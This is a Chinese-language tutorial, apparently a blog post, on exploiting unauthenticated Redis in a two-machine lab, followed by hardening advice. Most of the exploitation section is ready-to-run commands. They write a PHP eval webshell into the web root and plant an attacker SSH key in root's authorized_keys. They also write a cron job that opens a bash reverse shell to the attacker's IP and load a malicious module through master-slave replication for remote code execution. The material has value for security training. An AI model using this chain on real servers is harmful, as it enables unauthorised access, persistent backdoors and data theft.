Redis未授权访问漏洞利用(总结)
- 一、漏洞介绍及危害
- 1.1 原理
- 1.2 漏洞影响版本
- 1.3 漏洞危害
- 1.4 实战中redis常用命令
- 二、漏洞复现
- 2.1 环境准备
- 2.1.1 靶机安装redis服务器
- 2.1.2 kali安装Redis客户端(Redis-cli)
- 三、漏洞利用
- 3.1 利用Redis直接写入webshell
- 3.1.1 利用前提
- 3.1.2 利用
- 3.2 利用redis漏洞ssh秘钥连接
- 3.2.1 利用前提
- 3.2.2 利用
- 3.3 利用计划任务执行命令反弹shell
- 3.3.1 利用
- 3.4 主从复制getshell
- 3.4.1 利用
- 四、修复建议
一、漏洞介绍及危害
1.1 原理
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
简单来说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证,可以免密码远程登录redis服务。
1.2 漏洞影响版本
Redis 2.x,3.x,4.x,5.x
1.3 漏洞危害
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
1.4 实战中redis常用命令
1.redis-cli -h ip -p 6379 -a passwd # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
2.info # 查看相关redis信息
3.set xz "Hacker" # 设置键xz的值为字符串Hacker
4.get xz # 获取键xz的内容
5.INCR score # 使用INCR命令将score的值增加1
6.keys * # 列出当前数据库中所有的键
7.config set protected-mode no # 关闭安全模式
8.get anotherkey # 获取一个不存在的键的值
9.config set dir /root/redis # 设置保存目录
10.config set dbfilename redis.rdb # 设置保存文件名
11.config get dir # 查看保存目录
12.config get dbfilename # 查看保存文件名
13.save # 进行一次备份操作
14.flushall # 删除所有数据
15.del key # 删除键为key的数据
16.slaveof ip port # 设置主从关系
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";
二、漏洞复现
2.1 环境准备
靶机:centos7 192.168.111.131
攻击机:kali 192.168.111.128
确保能够互相访问
2.1.1 靶机安装redis服务器
wget https://download.redis.io/releases/redis-4.0.10.tar.gz //下载redis压缩包
tar -zxvfredis-4.0.10.tar.gz
cd redis-4.0.10/src
然后进行编译安装
make
make install
这下面是成功截图
因为要做到未授权访问,那么进行修改配置文件(redis.conf)
1、找到安装目录下的redis.conf文件 vi redis.conf
加#注释bind 127.0.0.1这一行,意味着所有机器都可以登录了
2、修改protected-mode 为protected-mode no,关闭安全模式
cp redis.conf /etc //配置文件复制到etc目录
redis-server /etc/redis.conf //启动redis服务
ps -ef | grep redis-server //查看服务启动
启动成功,靶机部署完毕!
2.1.2 kali安装Redis客户端(Redis-cli)
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxvfredis-4.0.10.tar.gz
cd redis-4.0.10
make
make install
测试连接 redis-cli -h 192.168.111.131 -p 6379
连接成功!
三、漏洞利用
3.1 利用Redis直接写入webshell
3.1.1 利用前提
1.靶机redis链接未授权,在攻击机上能用redis-cli连上
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)
3.1.2 利用
config get dir #查看redis数据库路径
config set dir dir /var/www/html # #修改靶机Redis数据库路径
config set dbfilename 1.php #生成1.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
save#保存
在靶机中可以看到文件已经上传成功
进行访问,上传成功
接下来上传木马,通过蚁剑连接
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接
连接成功!
3.2 利用redis漏洞ssh秘钥连接
原理就是在数据库中插入一条数据,将本机的公钥作为value.key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
3.2.1 利用前提
1.当redis以root身份运行。
2.靶机redis链接未授权,在攻击机上能用redis-cli连上。
3.存在/root/.ssh目录。
3.2.2 利用
ssh-keygen -t rsa # 生成公私钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt # 防止乱码,导出key
cat /root/.ssh/key.txt |./redis-cli -h 192.168.111.131 -x set key # 导入内容
首先生成密钥(ssh-keygen -t rsa),选项默认回车就可以。
进入.ssh目录:cd .ssh/,将生成的公钥保存到key.txt:
再把key.txt文件内容写入redis缓冲,进入到redis-4.0.10/src目录下
将保存ssh的公钥key.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入)
config set dir /root/.ssh # 修改redis数据库路径,这里centos中没有这个目录,需要在靶机上自己创建
config set dbfilename authorized_keys #生成缓冲文件authorized_keys
save #保存
ssh -i id_rsa root@192.168.111.131 #连接
注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
3.3 利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell
3.3.1 利用
kali:nc开启监听 nc -lnvp 8888
config set dir /var/spool/cron/
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.111.128/8888 0>&1\n\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save
可以看到成功反弹shell
3.4 主从复制getshell
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
3.4.1 利用
编写恶意 .so 文件,包含执行系统命令的功能。
通过主从复制将 .so 文件同步到从服务器。
从服务器加载 .so 文件并执行其中的命令。
1、生成恶意.so⽂件 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommandcd RedisModules-ExecuteCommand/make2、主从复制rce
//回到redis目录继续执行:
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.111.131 -p 6379 -L 192.168.111.128 -f module.so # python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
四、修复建议
针对Redis的漏洞修复,以下是一些建议:
-
升级Redis版本:根据最新的安全公告,Redis发布了包含安全修复的新版本。建议升级到最新的稳定版本,以修复已知的安全漏洞。
-
限制网络访问:确保只有授权的用户和系统可以访问Redis数据库。使用防火墙和网络策略限制访问到信任的源,防止未授权的连接。
-
强制使用强认证:对所有访问Redis实例的访问强制使用凭证。避免配置允许未经认证的访问,并确保启用了保护模式(在CE和OSS中)以防止意外暴露。
-
限制权限:确保访问Redis的用户身份被授予最小必要的权限。只允许信任的身份运行Lua脚本或其他潜在危险的命令。
-
禁用高危命令:禁用一些高危命令,如
FLUSHDB
、FLUSHALL
、CONFIG
、KEYS
等。 -
以低权限运行Redis服务:避免使用root用户等高权限用户运行Redis服务。
-
为Redis添加密码验证:修改
redis.conf
,添加requirepass
指令来设置认证密码。 -
禁止外网访问Redis:修改
redis.conf
,添加或修改配置,使得Redis服务只在当前主机可用,例如设置bind 127.0.0.1
。 -
添加IP访问限制:考虑在网络或操作系统级别添加IP限制,只有信任的IP才能连接。
-
更改默认端口:考虑更改Redis默认端口,以进一步混淆你的设置。
-
客户端加密:对于高度敏感的数据,可以在客户端实施加密,增加额外的保护层。